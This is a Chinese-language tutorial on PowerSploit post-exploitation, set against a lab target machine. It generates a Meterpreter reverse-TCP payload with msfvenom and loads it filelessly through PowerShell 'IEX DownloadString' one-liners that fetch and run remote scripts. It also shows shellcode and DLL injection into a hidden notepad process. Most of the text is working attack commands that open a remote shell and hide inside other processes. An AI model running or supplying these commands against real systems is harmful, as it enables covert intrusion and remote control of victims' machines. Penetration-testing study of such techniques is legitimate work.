Powersploit是一套基于PowerShell的后渗透脚本集合,可以通过PowerShell实现ShellCode执行、信息收集、权限提升和维持等操作

PowerShell的特性意味着我们可以在无需创建任何文件的情况下实现木马的上线

本文以最基础的ShellCode加载为例介绍Powersploit的基础使用

载荷准备

Kali Linux系统内置了Powersploit,安装在/usr/share/windows-resources/powersploit目录下,可以通过ls命令看到各种脚本类型

image-20210203000556599

在这里我们使用CodeExecution中的Invoke-Shellcode.ps1来使用,并将其移动到靶机可以访问的Web目录下

image-20210203000708376

除此之外,我们还需要使用msfvenom生成一套PowerShell编码格式的ShellCode,示例命令如下

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.20 LPORT=4444 -f powershell -o payload.txt

接下来将payload.txt同样拷贝到Web目录下,同时在PowerShell中设置好对应Payload的监听即可

执行PowerShell命令

  1. 首先在目标靶机上加载ps1文件

    IEX (New-Object Net.WebClient).DownloadString("http://10.211.55.2:8888/Invoke-Shellcode.ps1")
  2. 再加载ShellCode,该ShellCode默认被保存到一个叫做$buf的PowerShell变量中

    IEX (New-Object Net.WebClient).DownloadString("http://10.211.55.2:8888/payload.txt")
  3. 执行ShellCode

    Invoke-Shellcode -Shellcode ($buf) -Force
  4. 成功上线靶机

    Xnip2021-02-02_23-57-06

其余功能

除了上述的ShellCode直接上线外,Powersploit工具还提供了将ShellCode注入到其他进程中执行的方法

start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
get-process notepad
Invoke-Shellcode -ProcessID 2668 -Shellcode ($buf) -Force

还可以使用Invoke-DllInjection将DLL的形式注入其他程序,提升隐蔽性,但该方法没有做到无文件

先使用msfvenom生成dll

IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
get-process notepad
Invoke-DllInjection -ProcessID 2008 -Dll C:\Users\zn\test.dll

参考文献

[1] Powersploit的安装及脚本攻击实战

[2] 用powershell下载文件的姿势你研究过吗?